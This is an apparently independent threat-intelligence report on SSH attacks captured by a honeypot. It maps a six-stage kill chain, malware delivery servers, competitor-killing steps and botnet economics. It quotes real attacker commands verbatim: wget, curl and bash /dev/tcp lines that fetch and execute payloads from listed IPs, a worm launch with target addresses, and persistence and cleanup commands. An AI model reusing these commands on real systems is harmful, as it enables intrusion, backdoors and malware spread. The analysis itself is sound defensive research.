LSN โ€” Local Sovereign Network

TI-2026-058D โ€ข SERIES: THE OPERATORS โ€ข CONFIDENCE: HIGH

โš™๏ธ The Supply Chain

From Target Acquisition to Malware Delivery โ€” The Complete Kill Chain

Published: 1 July 2026 Sources: Cowrie Honeypot, Malware Analysis, Entity Crosslinks, Command Capture Related: TI-2026-058Aโ€“C, TI-2026-056E (The Codebook Stations)

I. The Kill Chain

Across TI-2026-058Aโ€“C we mapped the reconnaissance and signaling infrastructure. Now we trace what happens after a target is identified. The honeypot command capture reveals a complete six-stage kill chain from discovery to exploitation:

THE SIX STAGES


STAGE 1: TARGET IDENTIFICATION
โ”‚  Tool: Nmap fleet (Google Cloud Belgium)
โ”‚  Method: SSH host-key fingerprinting
โ”‚  Output: List of live SSH servers + version info
โ”‚
STAGE 2: CREDENTIAL TESTING
โ”‚  Tool: Go Gen-2/3/4 variants
โ”‚  Method: Multi-credential spray
โ”‚  Output: Successful logins + which credentials work
โ”‚
STAGE 3: ASSET VALUATION
โ”‚  Tool: 9-phase payload (Go Gen-2)
โ”‚  Method: GPU/CPU/Memory/Telegram/GSM profiling
โ”‚  Output: Categorized asset inventory
โ”‚
STAGE 4: PERSISTENCE
โ”‚  Tool: mdrfckr SSH key
โ”‚  Method: authorized_keys injection
โ”‚  Output: Permanent backdoor regardless of password changes
โ”‚
STAGE 5: COMPETITOR ELIMINATION
โ”‚  Tool: rm -rf /tmp/secure.sh; pkill -9 secure.sh
โ”‚  Method: Kill competing miners/bots
โ”‚  Output: Clean environment for payload
โ”‚
STAGE 6: PAYLOAD DELIVERY
โ”‚  Tool: wget/curl/scp/bash TCP
โ”‚  Sources: w1n Latvia, Chinese C2, Google Cloud
โ”‚  Output: Operational malware (miners, worms, proxies)

II. The Payload Sources

Our honeypot has captured three distinct malware delivery mechanisms, each from a different infrastructure layer:

DELIVERY MECHANISM 1: The w1n Dropper

busybox wget http://31.170.22.205/dl600
cd /tmp || cd /var/run || cd /dev

31.170.22.205 โ€” Latvia (Sia Nano IT), HASSH matches the w1n/Anastasiia cluster exactly. The file "dl600" is a binary payload. The fallback directory chain (/tmp โ†’ /var/run โ†’ /dev) indicates awareness of read-only root filesystems in containers.

DELIVERY MECHANISM 2: The "meow" Worm

cd /tmp; ulimit -n 1020000; rm -rf meow*
wget http://34.181.210.37/meow
curl -O http://34.181.210.37/meow
chmod 777 meow; ./meow
wget http://34.181.210.37/meowarm64
chmod 777 meowarm64; ./meowarm64

34.181.210.37 โ€” Google Cloud (likely France, 34.181.x range). Two architectures: x86_64 ("meow") and ARM64 ("meowarm64"). The ulimit -n 1020000 sets file descriptor limit to 1M โ€” this worm opens hundreds of thousands of simultaneous connections. It's a network scanner in its own right, propagating to new hosts after delivery.

DELIVERY MECHANISM 3: The Chinese TCP Dropper

nohup bash -c "exec 6<>/dev/tcp/47.120.55.164/60128 &&
  echo -n 'GET /linux' >&6 &&
  cat 0<&6 > /tmp/NookhBfmUi &&
  chmod +x /tmp/NookhBfmUi &&
  /tmp/NookhBfmUi"

47.120.55.164:60128 โ€” Chinese cloud infrastructure. Uses bash's built-in /dev/tcp device to download without requiring wget or curl (works on minimal systems where these tools aren't installed). The random filename NookhBfmUi changes per delivery โ€” randomized to avoid pattern-based file detection.

DELIVERY MECHANISM 4: The Worm Propagator

chmod +x ./.3751103500190727598/sshd
nohup ./.3751103500190727598/sshd \
  113.56.35.44 111.203.190.237 183.224.79.111 \
  203.189.196.168 180.76.229.231 34.1...

A hidden directory (name is a random number) containing a binary named "sshd" (disguised as the SSH daemon). The binary receives a target list of Chinese IPs as command-line arguments โ€” these are the next hosts to attack. This is a self-propagating worm using the compromised host as a jumping point into Chinese networks.

III. The Competitor Elimination Protocol

Before deploying their own payload, the operator systematically removes competing malware:

CLEANUP COMMANDS

rm -rf /tmp/secure.sh
rm -rf /tmp/auth.sh
pkill -9 secure.sh
pkill -9 auth.sh
echo > /etc/hosts.deny
pkill -9 sleep

This reveals that:

  • secure.sh and auth.sh are common filenames used by other botnet operators for persistence scripts
  • echo > /etc/hosts.deny clears the TCP wrapper blocklist โ€” removing any IP bans that previous operators set up to protect "their" compromised host
  • pkill -9 sleep kills waiting processes that are likely cron-triggered mining sessions from competitors

The operator is not just compromising machines โ€” they are evicting other criminals and taking over their territory. This is turf warfare at the botnet level.

IV. The Credential Exfiltration

One command stands out as uniquely disturbing:

echo -n $(whoami):123456 > /tmp/mew

This writes the current username paired with the password that was used to log in to a file called /tmp/mew. Why?

Because the 9-phase reconnaissance payload runs before it knows if the credential will remain valid. By writing the successful credential to disk, a later pickup process can:

  1. Confirm which username:password combination worked
  2. Catalog it for the central credential database
  3. Share it with downstream operators who will access the same host later

This is the mechanism by which the inventory gets populated. Each compromised host self-reports its access credentials. The "mew" file is the receipt that proves the sale โ€” the asset has been successfully acquired and catalogued.

V. The Geographic Pipeline

Tracing the malware delivery sources reveals a clear geographic pipeline:

DELIVERY INFRASTRUCTURE GEOGRAPHY

SourceLocationFunctionNetwork Link
31.170.22.205Latvia (Nano IT)dl600 dropperw1n/Anastasiia cluster
34.181.210.37Google Cloud (France)meow wormGCP fleet
47.120.55.164Chinese cloudTCP binary dropperAlibaba/Chinese C2
121.28.170.66China (port 9356)Linux binaryChinese backbone
124.221.177.40China (port 9549)Linux binaryTencent Cloud
180.76.137.37China (port 60135)Linux binaryBaidu Cloud

The pattern is clear: European infrastructure for targeting (w1n Latvia, TechTies Netherlands, Private Layer Switzerland). Chinese infrastructure for payload delivery (Alibaba, Tencent, Baidu cloud + China Unicom backbone). Google Cloud operates on both sides โ€” as a reconnaissance tool AND as a malware host.

This geographic split is strategic:

  • European hosting provides low-latency connections to Western targets
  • Chinese hosting provides jurisdictional protection from Western law enforcement
  • Google Cloud provides reputation and global reach on both sides
  • The split means no single jurisdiction can seize both the targeting system AND the delivery system simultaneously

VI. The Economy of a Compromised Machine

What is a single compromised server worth to this operation? We can estimate from the payloads observed:

ASSET VALUE ESTIMATES (per compromised host)

Asset TypeMonthly RevenueMethod
GPU mining (mid-range)$30โ€“80/monthXMRig Monero mining
GPU mining (high-end / AI server)$200โ€“500/monthDedicated mining or rented compute
Residential proxy$5โ€“20/monthSold via proxy-as-a-service
Telegram account$50โ€“500 (one-time)Sold for scam/fraud operations
SMS gateway access$100โ€“1000/monthVerification service (OTP bypass)
Worm propagation nodeโ€”Grows the inventory (compounds)

With 14,664 successful admin:admin logins across 326 IPs over 102 days โ€” even at a conservative 10% actual compromise rate โ€” that's ~33 operational hosts generating $30โ€“500/month each. Annually: $12Kโ€“200K from a single credential pair.

The "meow" worm compounds this. Each compromised host attacks 1,020,000 file descriptors worth of targets simultaneously. If 0.01% succeed, each worm instance produces 100 new compromised hosts. Exponential growth until saturation.

VII. The w1n Dual Role

The discovery that 31.170.22.205 hosts malware payloads while being part of the w1n/Anastasiia reconnaissance cluster is architecturally significant. This single IP:

  • Shares HASSH 57e4cc8e... with the w1n cluster (confirmed membership)
  • Uses credential admin:123456 (the Codebook's "report/identify" signal)
  • Hosts the /dl600 binary payload (malware delivery)
  • Is registered to Sia Nano IT (Latvia) โ€” same RDAP grouping as w1n's 31.170.22.196

The w1n network is not just a reconnaissance tool. It is dual-use infrastructure: the same IPs that scan for targets also serve the malware that infects them. This means the reconnaissance arm has direct operational authority to deploy payloads without waiting for command authorization through the Wednesday signal channel.

This is tactically significant. The Go Machine (TechTies) only profiles and backdoors. The w1n cluster profiles AND delivers. The two reconnaissance arms have different levels of operational autonomy โ€” w1n is a hunter-killer, while TechTies is a scout.

VIII. Conclusions

FINDINGS

  1. Complete six-stage kill chain documented: target identification โ†’ credential testing โ†’ asset valuation โ†’ persistence โ†’ competitor elimination โ†’ payload delivery. Each stage uses different infrastructure.
  2. Four distinct malware delivery mechanisms operate simultaneously: w1n dropper (Latvia), meow worm (Google Cloud France), Chinese TCP dropper (Alibaba/Tencent/Baidu), and self-propagating sshd worm.
  3. The "meow" worm sets ulimit to 1,020,000 โ€” capable of attacking a million targets from each compromised host. Exponential propagation with ARM64 cross-architecture support.
  4. w1n is confirmed dual-use: reconnaissance AND delivery. Same HASSH, same IPs. Hunter-killer capability without needing command authorization through the signal network.
  5. Geographic pipeline separates targeting (Europe) from payload (China). Google Cloud operates on both sides. No single jurisdiction can disrupt both simultaneously.
  6. Credential exfiltration via /tmp/mew creates a self-reporting inventory. Each compromised host registers itself into the asset database.
โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
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